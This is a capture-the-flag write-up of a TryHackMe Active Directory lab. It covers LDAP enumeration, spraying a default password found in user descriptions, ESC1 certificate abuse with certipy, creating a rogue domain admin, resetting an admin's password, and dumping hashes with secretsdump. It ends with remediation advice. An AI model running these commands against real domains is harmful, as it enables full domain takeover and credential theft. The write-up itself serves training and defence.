Ledger

Platform : TryHackMe
Type : boot2root
Difficulty : ⭐⭐⭐⭐☆

Table of contents

Reconnaissance

Nmap scan

Nmap scan report for 10.10.37.220
Host is up (0.033s latency).
Not shown: 65210 closed tcp ports (conn-refused), 295 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-07-11 13:25:00Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: thm.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=labyrinth.thm.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:labyrinth.thm.local
| Issuer: commonName=thm-LABYRINTH-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-07-11T13:00:08
| Not valid after:  2026-07-11T13:00:08
| MD5:   c77328aa1ee9ed3aaa4a9eb4994073cc
|_SHA-1: 73245c813bcf4f72c4527dd71e11a1e58c1fa402
|_ssl-date: 2025-07-11T13:25:57+00:00; -1s from scanner time.
443/tcp   open  ssl/http      Microsoft IIS httpd 10.0
| ssl-cert: Subject: commonName=thm-LABYRINTH-CA
| Issuer: commonName=thm-LABYRINTH-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-05-12T07:26:00
| Not valid after:  2028-05-12T07:35:59
| MD5:   c2493bc6fd31f2aa83cb2774bc669151
|_SHA-1: 397a54dfc1fff9fd57e4a94400e8cfdb6e3a972b
|_http-title: IIS Windows Server
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_ssl-date: 2025-07-11T13:25:57+00:00; -1s from scanner time.
| tls-alpn: 
|_  http/1.1
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap
| ssl-cert: Subject: commonName=labyrinth.thm.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:labyrinth.thm.local
| Issuer: commonName=thm-LABYRINTH-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-07-11T13:00:08
| Not valid after:  2026-07-11T13:00:08
| MD5:   c77328aa1ee9ed3aaa4a9eb4994073cc
|_SHA-1: 73245c813bcf4f72c4527dd71e11a1e58c1fa402
|_ssl-date: 2025-07-11T13:25:57+00:00; -1s from scanner time.
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: thm.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=labyrinth.thm.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:labyrinth.thm.local
| Issuer: commonName=thm-LABYRINTH-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-07-11T13:00:08
| Not valid after:  2026-07-11T13:00:08
| MD5:   c77328aa1ee9ed3aaa4a9eb4994073cc
|_SHA-1: 73245c813bcf4f72c4527dd71e11a1e58c1fa402
|_ssl-date: 2025-07-11T13:25:57+00:00; -1s from scanner time.
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: thm.local0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-11T13:25:57+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=labyrinth.thm.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:labyrinth.thm.local
| Issuer: commonName=thm-LABYRINTH-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-07-11T13:00:08
| Not valid after:  2026-07-11T13:00:08
| MD5:   c77328aa1ee9ed3aaa4a9eb4994073cc
|_SHA-1: 73245c813bcf4f72c4527dd71e11a1e58c1fa402
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-07-11T13:25:57+00:00; -1s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: THM
|   NetBIOS_Domain_Name: THM
|   NetBIOS_Computer_Name: LABYRINTH
|   DNS_Domain_Name: thm.local
|   DNS_Computer_Name: labyrinth.thm.local
|   Product_Version: 10.0.17763
|_  System_Time: 2025-07-11T13:25:49+00:00
| ssl-cert: Subject: commonName=labyrinth.thm.local
| Issuer: commonName=labyrinth.thm.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-07-10T13:09:10
| Not valid after:  2026-01-09T13:09:10
| MD5:   d6eb8fefa7a95ccddb62df932af4a540
|_SHA-1: 1723015f403f3ccbd91082c609feea05c65a43aa
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49671/tcp open  msrpc         Microsoft Windows RPC
49675/tcp open  msrpc         Microsoft Windows RPC
49676/tcp open  msrpc         Microsoft Windows RPC
49682/tcp open  msrpc         Microsoft Windows RPC
49706/tcp open  msrpc         Microsoft Windows RPC
49711/tcp open  msrpc         Microsoft Windows RPC
49719/tcp open  msrpc         Microsoft Windows RPC
49795/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: LABYRINTH; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
| smb2-time: 
|   date: 2025-07-11T13:25:52
|_  start_date: N/A

NSE: Script Post-scanning.
Initiating NSE at 13:25
Completed NSE at 13:25, 0.00s elapsed
Initiating NSE at 13:25
Completed NSE at 13:25, 0.00s elapsed
Initiating NSE at 13:25
Completed NSE at 13:25, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 98.39 seconds

According to the open ports we found, the target host is a domain controller. Nmap found the domain name and the FQDN of the host. We can add them to our /etc/hosts file :

┌──(kali㉿kali)-[~/Desktop/Ledger]
└─$ cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters

10.10.37.220    thm.local       labyrinth.thm.local

LDAP reconnaissance

Using nxc, we can try to retrieve domain objects from LDAP :

┌──(kali㉿kali)-[~/Desktop/Ledger]
└─$ nxc ldap thm.local -d "thm.local" --query '(objectClass=*)' '' --log nxc_ldap_dump.txt
LDAP                     10.10.38.166    389    LABYRINTH        [*] Windows 10 / Server 2019 Build 17763 (name:LABYRINTH) (domain:thm.local)
LDAP                     10.10.38.166    389    LABYRINTH        [+] Response for object: DC=thm,DC=local
LDAP                     10.10.38.166    389    LABYRINTH        objectClass          top
LDAP                     10.10.38.166    389    LABYRINTH                             domain
LDAP                     10.10.38.166    389    LABYRINTH                             domainDNS
LDAP                     10.10.38.166    389    LABYRINTH        distinguishedName    DC=thm,DC=local
LDAP                     10.10.38.166    389    LABYRINTH        instanceType         5
LDAP                     10.10.38.166    389    LABYRINTH        whenCreated          20230512072440.0Z
LDAP                     10.10.38.166    389    LABYRINTH        whenChanged          20251016080933.0Z
LDAP                     10.10.38.166    389    LABYRINTH        subRefs              DC=ForestDnsZones,DC=thm,DC=local
<SNIP>

By looking at the descriptions of some users, we can find something that look like a default password in clear-text :

┌──(kali㉿kali)-[~/Desktop/Ledger]
└─$ cat nxc_ldap_dump.txt | grep description -a
2025-10-16 04:11:46 | ldap.py:934 - INFO - LDAP        10.10.38.166    389    LABYRINTH        description          Please change it: CHANGEME2023!
2025-10-16 04:11:46 | ldap.py:934 - INFO - LDAP        10.10.38.166    389    LABYRINTH        description          Finance
2025-10-16 04:11:46 | ldap.py:934 - INFO - LDAP        10.10.38.166    389    LABYRINTH        description          Office of the General Counsel
2025-10-16 04:11:47 | ldap.py:934 - INFO - LDAP        10.10.38.166    389    LABYRINTH        description          Field Services
2025-10-16 04:11:47 | ldap.py:934 - INFO - LDAP        10.10.38.166    389    LABYRINTH        description          AWS Stuff
2025-10-16 04:11:47 | ldap.py:934 - INFO - LDAP        10.10.38.166    389    LABYRINTH        description          Endpoint System Management
2025-10-16 04:11:47 | ldap.py:934 - INFO - LDAP        10.10.38.166    389    LABYRINTH        description          Information Security
2025-10-16 04:11:47 | ldap.py:934 - INFO - LDAP        10.10.38.166    389    LABYRINTH        description          Information Technology Services
2025-10-16 04:11:47 | ldap.py:934 - INFO - LDAP        10.10.38.166    389    LABYRINTH        description          Please change it: CHANGEME2023!

We can perform another LDAP query to retrieve only usernames of accounts having this description containing a password :

┌──(kali㉿kali)-[~/Desktop/Ledger]
└─$ nxc ldap thm.local -d "thm.local" --query '(description=Please change it*)' 'sAMAccountName' | grep 'sAMAccountName' | rev | cut -d ' ' -f 1 | rev > users.txt

The file users.txt we just created contains all usernames that may still use the default password specified in their description.

Password spraying

Using the usernames wordlist we created and the default password we found, we can perform a password spraying attack to see if any of those accounts is still using the default password :

┌──(kali㉿kali)-[~/Desktop/Ledger]
└─$ nxc smb thm.local -d "thm.local" -u users.txt -p 'CHANGEME2023!' --continue-on-success                                                                        
SMB         10.10.182.227   445    LABYRINTH        [*] Windows 10 / Server 2019 Build 17763 x64 (name:LABYRINTH) (domain:thm.local) (signing:True) (SMBv1:False) 
SMB         10.10.182.227   445    LABYRINTH        [+] thm.local\IVY_WILLIS:CHANGEME2023! 
SMB         10.10.182.227   445    LABYRINTH        [+] thm.local\SUSANNA_MCKNIGHT:CHANGEME2023!

Both user accounts were still using the default password.

Bloodhound

Using any of the two valid credentials we found, we can use bloodhound-python to retrieve more information on domain objects and relations to see if there is any clear path to escalate our privileges in the domain :

┌──(kali㉿kali)-[~/Desktop/Ledger]
└─$ bloodhound-python -c All -u 'IVY_WILLIS' -d 'thm.local' -p 'CHANGEME2023!' --zip -ns 10.10.182.227
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: thm.local
INFO: Getting TGT for user
INFO: Connecting to LDAP server: labyrinth.thm.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: labyrinth.thm.local
INFO: Found 493 users
INFO: Found 52 groups
INFO: Found 2 gpos
INFO: Found 222 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: labyrinth.thm.local
INFO: Done in 00M 13S
INFO: Compressing output into 20251016050058_bloodhound.zip

After loading the generated zip file in Bloodhound, we can search for IVY_WILLIS and see if this account has interesting outbound object controls or is member of privileged groups :

IVY_WILLIS is member of the Remote Management Users group, but since port 5985 is closed, we cannot obtain a shell via WinRM. Let’s see if the other user has more useful permissions / group membership :

SUSANNA_MCKNIGHT is member of the Remote Desktop Users group, which means she may be able to connect to the domain controller via RDP. Using remmina, we can try to obtain a foothold on the domain controller :

After entering those credentials, we should have a graphical session on the domain controller :

Post-exploitation

AD-CS reconnaissance

On our RDP session, when opening a command prompt and listing our group membership, we can notice some groups that were not visible with Bloodhound :

C:\Users\SUSANNA_MCKNIGHT>whoami /groups

GROUP INFORMATION
-----------------

Group Name                                 Type             SID          Attributes
========================================== ================ ============ ==================================================
Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Desktop Users               Alias            S-1-5-32-555 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users            Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554 Group used for deny only
BUILTIN\Certificate Service DCOM Access    Alias            S-1-5-32-574 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\REMOTE INTERACTIVE LOGON      Well-known group S-1-5-14     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE                   Well-known group S-1-5-4      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
LOCAL                                      Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1     Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level     Label            S-1-16-8192

The Certificate Service DCOM Access group indicates the presence of AD CS (Active Directory Certificate Services). Using certipy, we can search for vulnerable certificate templates :

┌──(kali㉿kali)-[~]
└─$ certipy-ad find -vulnerable -stdout -u SUSANNA_MCKNIGHT@thm.local -p 'CHANGEME2023!' -dc-ip 10.10.182.227
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 37 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 14 enabled certificate templates
[*] Finding issuance policies
[*] Found 21 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'thm-LABYRINTH-CA' via RRP
[*] Successfully retrieved CA configuration for 'thm-LABYRINTH-CA'
[*] Checking web enrollment for CA 'thm-LABYRINTH-CA' @ 'labyrinth.thm.local'
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : thm-LABYRINTH-CA
    DNS Name                            : labyrinth.thm.local
    Certificate Subject                 : CN=thm-LABYRINTH-CA, DC=thm, DC=local
    Certificate Serial Number           : 5225C02DD750EDB340E984BC75F09029
    Certificate Validity Start          : 2023-05-12 07:26:00+00:00
    Certificate Validity End            : 2028-05-12 07:35:59+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : THM.LOCAL\Administrators
      Access Rights
        ManageCa                        : THM.LOCAL\Administrators
                                          THM.LOCAL\Domain Admins
                                          THM.LOCAL\Enterprise Admins
        ManageCertificates              : THM.LOCAL\Administrators
                                          THM.LOCAL\Domain Admins
                                          THM.LOCAL\Enterprise Admins
        Enroll                          : THM.LOCAL\Authenticated Users
Certificate Templates
  0
    Template Name                       : ServerAuth
    Display Name                        : ServerAuth
    Certificate Authorities             : thm-LABYRINTH-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Extended Key Usage                  : Client Authentication
                                          Server Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2023-05-12T08:55:40+00:00
    Template Last Modified              : 2023-05-12T08:55:40+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : THM.LOCAL\Domain Admins
                                          THM.LOCAL\Domain Computers
                                          THM.LOCAL\Enterprise Admins
                                          THM.LOCAL\Authenticated Users
      Object Control Permissions
        Owner                           : THM.LOCAL\Administrator
        Full Control Principals         : THM.LOCAL\Domain Admins
                                          THM.LOCAL\Enterprise Admins
        Write Owner Principals          : THM.LOCAL\Domain Admins
                                          THM.LOCAL\Enterprise Admins
        Write Dacl Principals           : THM.LOCAL\Domain Admins
                                          THM.LOCAL\Enterprise Admins
        Write Property Enroll           : THM.LOCAL\Domain Admins
                                          THM.LOCAL\Domain Computers
                                          THM.LOCAL\Enterprise Admins
    [+] User Enrollable Principals      : THM.LOCAL\Authenticated Users
                                          THM.LOCAL\Domain Computers
    [!] Vulnerabilities
      ESC1                              : Enrollee supplies subject and template allows client authentication.

Certipy found one vulnerable template. The template ServerAuth authorize the Client Authentication in the EKU and has the flag EnrolleeSuppliesSubject, which means it is vulnerable to ESC1.

Privilege escalation

We can use this template to request a certificate impersonating another user by specifying an arbitrary subject using the -upn option :

┌──(kali㉿kali)-[~]
└─$ certipy-ad req -u SUSANNA_MCKNIGHT@thm.local -p 'CHANGEME2023!' -ca thm-LABYRINTH-CA -template ServerAuth -upn Administrator
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[!] DNS resolution failed: The DNS query name does not exist: THM.LOCAL.
[!] Use -debug to print a stacktrace
[*] Requesting certificate via RPC
[*] Request ID is 26
[*] Successfully requested certificate
[*] Got certificate with UPN 'Administrator'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

We successfully requested a certificate for the Administrator user. Now, we can try to use it to authenticate and try to obtain the NT hash :

┌──(kali㉿kali)-[~]
└─$ certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.182.227 -u Administrator -domain thm.local
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'Administrator'
[*] Using principal: 'administrator@thm.local'
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)
[-] Use -debug to print a stacktrace
[-] See the wiki for more information

We get the KDC_ERR_PADATA_TYPE_NOSUPP error. This means Kerberos does not accept this type of authentication. LDAP by default, allows authentication using certificates, so we could just use the certificate we requested and open an LDAP shell.

But there is another problem. If we take a closer look at the group membership of the Administrator account, we can notice something else that will prevent us from authenticating with this account via NTLM (on SMB or other services) :

┌──(kali㉿kali)-[~]
└─$ nxc ldap thm.local -d "thm.local" -u 'SUSANNA_MCKNIGHT' -p 'CHANGEME2023!' --query '(sAMAccountName=Administrator)' 'sAMAccountName memberOf userAccountControl'
LDAP        10.10.182.227   389    LABYRINTH        [*] Windows 10 / Server 2019 Build 17763 (name:LABYRINTH) (domain:thm.local)
LDAP        10.10.182.227   389    LABYRINTH        [+] thm.local\SUSANNA_MCKNIGHT:CHANGEME2023! 
LDAP        10.10.182.227   389    LABYRINTH        [+] Response for object: CN=Administrator,CN=Users,DC=thm,DC=local
LDAP        10.10.182.227   389    LABYRINTH        memberOf             CN=Protected Users,CN=Users,DC=thm,DC=local
LDAP        10.10.182.227   389    LABYRINTH                             CN=Group Policy Creator Owners,CN=Users,DC=thm,DC=local
LDAP        10.10.182.227   389    LABYRINTH                             CN=Domain Admins,CN=Users,DC=thm,DC=local
LDAP        10.10.182.227   389    LABYRINTH                             CN=Enterprise Admins,CN=Users,DC=thm,DC=local
LDAP        10.10.182.227   389    LABYRINTH                             CN=Schema Admins,CN=Users,DC=thm,DC=local
LDAP        10.10.182.227   389    LABYRINTH                             CN=Administrators,CN=Builtin,DC=thm,DC=local
LDAP        10.10.182.227   389    LABYRINTH        userAccountControl   66048
LDAP        10.10.182.227   389    LABYRINTH        sAMAccountName       Administrator

The Administrator user is member of the Protected Users group. According to the official Microsoft documentation :

Protected User accounts that authenticate to a domain running Windows Server are unable to do the following:

  • Authenticate with NTLM authentication.
  • Use DES or RC4 encryption types in Kerberos preauthentication.
  • Delegate with unconstrained or constrained delegation.
  • Renew Kerberos TGTs beyond their initial four-hour lifetime.

This means we will not be able use this account to dump domain secrets, connect to SMB or RDP… There are multiple ways to gain domain admin access. In this write-up, I will explain two methods I know.

Method 1 : Create a new domain admin

The easiest way is by creating a new user account and add it to the Domain Admins group. To do so, we can use the certificate we requested and open an LDAP shell using Certipy :

┌──(kali㉿kali)-[~/Desktop/TryHackMe]
└─$ certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.239.175 -u Administrator -domain thm.local -ldap-shell
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator'
[*] Connecting to 'ldaps://10.10.239.175:636'
[*] Authenticated to '10.10.239.175' as: 'u:THM\\Administrator'
Type help for list of commands

# 

Then, we can execute the add_user command to create a new user account :

# add_user john_doe
Attempting to create user in: %s CN=Users,DC=thm,DC=local
Adding new user with username: john_doe and password: 5S9m/_hv'Ey"c%V result: OK

The new user account was successfully created using a randomly generated password. Now, we can add it to the Domain Admins group :

# add_user_to_group john_doe "Domain Admins"
Adding user: john_doe to group Domain Admins result: OK

john_doe was successfully added to the Domain Admins group. We can now use this user account to authenticate via RDP, SMB or other services with administrative access to the domain controller.

Method 2 : Take over a valid domain admin account

The following method is not the simplest, but can be used to learn more about Active Directory. We will need to find a user account that is not member of the Protected Users group and has the right userAccountControl value. NetExec can be used to retrieve a list of members of the Domain Admins group and their attributes :

┌──(kali㉿kali)-[~]
└─$ nxc ldap thm.local -d "thm.local" -u 'SUSANNA_MCKNIGHT' -p 'CHANGEME2023!' --query '(&(objectCategory=person)(objectClass=user)(memberOf=CN=Domain Admins,CN=Users,DC=thm,DC=local))' 'sAMAccountName memberOf userAccountControl'
LDAP        10.10.182.227   389    LABYRINTH        [*] Windows 10 / Server 2019 Build 17763 (name:LABYRINTH) (domain:thm.local)
LDAP        10.10.182.227   389    LABYRINTH        [+] thm.local\SUSANNA_MCKNIGHT:CHANGEME2023! 
LDAP        10.10.182.227   389    LABYRINTH        [+] Response for object: CN=Administrator,CN=Users,DC=thm,DC=local
LDAP        10.10.182.227   389    LABYRINTH        memberOf             CN=Protected Users,CN=Users,DC=thm,DC=local
LDAP        10.10.182.227   389    LABYRINTH                             CN=Group Policy Creator Owners,CN=Users,DC=thm,DC=local
LDAP        10.10.182.227   389    LABYRINTH                             CN=Domain Admins,CN=Users,DC=thm,DC=local
LDAP        10.10.182.227   389    LABYRINTH                             CN=Enterprise Admins,CN=Users,DC=thm,DC=local
LDAP        10.10.182.227   389    LABYRINTH                             CN=Schema Admins,CN=Users,DC=thm,DC=local
LDAP        10.10.182.227   389    LABYRINTH                             CN=Administrators,CN=Builtin,DC=thm,DC=local
LDAP        10.10.182.227   389    LABYRINTH        userAccountControl   66048
LDAP        10.10.182.227   389    LABYRINTH        sAMAccountName       Administrator
LDAP        10.10.182.227   389    LABYRINTH        [+] Response for object: CN=BERNARD_CARNEY,OU=AZR,OU=Tier 1,DC=thm,DC=local
LDAP        10.10.182.227   389    LABYRINTH        memberOf             CN=Domain Admins,CN=Users,DC=thm,DC=local
LDAP        10.10.182.227   389    LABYRINTH        userAccountControl   66050
LDAP        10.10.182.227   389    LABYRINTH        sAMAccountName       BERNARD_CARNEY
LDAP        10.10.182.227   389    LABYRINTH        [+] Response for object: CN=BRADLEY_ORTIZ,OU=FSR,OU=Tier 1,DC=thm,DC=local
LDAP        10.10.182.227   389    LABYRINTH        memberOf             CN=Domain Admins,CN=Users,DC=thm,DC=local
LDAP        10.10.182.227   389    LABYRINTH        userAccountControl   66048
LDAP        10.10.182.227   389    LABYRINTH        sAMAccountName       BRADLEY_ORTIZ
LDAP        10.10.182.227   389    LABYRINTH        [+] Response for object: CN=BEVERLY_FARRELL,OU=AZR,OU=Tier 1,DC=thm,DC=local
LDAP        10.10.182.227   389    LABYRINTH        memberOf             CN=Domain Admins,CN=Users,DC=thm,DC=local
LDAP        10.10.182.227   389    LABYRINTH        userAccountControl   66050
LDAP        10.10.182.227   389    LABYRINTH        sAMAccountName       BEVERLY_FARRELL

BERNARD_CARNEY has 66050 for userAccountControl. To understand what it means, we first need to convert this decimal value to binary which gives us 10000001000000010. Each bit represent a specific flag.

We need to read the binary value from right to left. The second bit defines if the user account is disabled. For BERNARD_CARNEY, the value is 1, so the account is disabled. Same for BEVERLY_FARRELL. That leaves us with only BRADLEY_ORTIZ. Change his password from an LDAP shell using Certipy :

┌──(kali㉿kali)-[~/Desktop/TryHackMe]
└─$ certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.239.175 -u Administrator -domain thm.local -ldap-shell
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator'
[*] Connecting to 'ldaps://10.10.239.175:636'
[*] Authenticated to '10.10.239.175' as: 'u:THM\\Administrator'
Type help for list of commands

# change_password bradley_ortiz Password123!
Got User DN: CN=BRADLEY_ORTIZ,OU=FSR,OU=Tier 1,DC=thm,DC=local
Attempting to set new password of: Password123!
Password changed successfully!

The password for BRADLEY_ORTIZ was successfully changed, and we can now use this user account to authenticate to the domain controller via RDP, SMB or other services with administrative access. It can also be used to dump domain secrets using impacket-secretsdump :

┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump 'thm.local/BRADLEY_ORTIZ:Password123!'@10.10.104.130
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: <REDACTED>
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
<SNIP>

Vulnerabilities summary

AD CS template misconfiguration (ESC1)

FieldValue
Affected componentServerAuth certificate template
CVSS 3.0 score8.8 (High)
CVSS 3.0 vectorAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
ImpactThe ServerAuth template on AD CS is vulnerable to ESC1. It has the Client Authentication EKU, and has the Certificate Name Flag set to EnrolleeSuppliesSubject. This allows an attacker with access to a valid domain account to impersonate any domain user by requesting a certificate with this template and then use it to authenticate to LDAP for example. Then, the attacker can perform LDAP queries as Administrator (or any impersonated user), such as changing passwords or creating new users with administrative persmissions, resulting in a complete domain compromise.

This has a high impact on the confidentiality, integrity, and availability of the domain.
RemediationAvoid combining both Client Authentication EKU and EnrolleeSuppliesSubject for the Certificate Name Flag. According to the official Microsoft documentation, depanding on your needs, you can do the following :

– Turn off Supply in the request configuration.
– Remove any EKUs that enable user authentication, such as Client Authentication, Smartcard logon, PKINIT client authentication, or Any purpose.
– Remove overly permissive enrollment permissions, which allow any user to enroll certificate based on that certificate template.
– Certificate templates marked as vulnerable by Defender for Identity have at least one access list entry that supports enrollment for a built-in, unprivileged group, making this exploitable by any user. Examples of built-in, unprivileged groups include Authenticated Users or Everyone.
– Turn on the CA certificate Manager approval requirement.
– Remove the certificate template from being published by any CA. Templates that aren’t published can’t be requested, and therefore can’t be exploited.

Information disclosure

FieldValue
Affected componentSome users account on the LDAP directory
CVSS 3.0 score5.3 (Medium)
CVSS 3.0 vectorAV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
ImpactSome users account have their password stored in the description attribute. Since Guest / Null session access is enabled on LDAP, an attacker can easily read this attribute and retrieve the password for those users, giving him access to their accounts.

This has a low impact on the confidentiality since the amount of data sensitive data disclosed is limited. Note that even is the severity of this vulnerability in itself is medium, one of the user accounts was member of the Remote Desktop Users group, allowing an attacker to authenticate via LDAP on the domain controller, which is very dangerous.
RemediationNever store clear-text passwords in description fields or other fields that does not serve this purpose.

Also, it is recommanded to use randomly generated passwords when creating new user accounts instead of one global password.

Users should also be asked to change their password on first login to ensure their are not still using the default one. This option can be enabled when adding creating a new user account.

Tools used

ToolUsage
NmapScan for open ports and services versions
CertipyPerform AD CS enumeration and abuse vulnerable certificate templates
NetExecPerform LDAP queries and password spraying
Decimal to binaryConvert decimal value of userAccountControl attribute to binary
ImpacketDump domain secrets (NT hashes, Kerberos keys…)

Sources

Retour en haut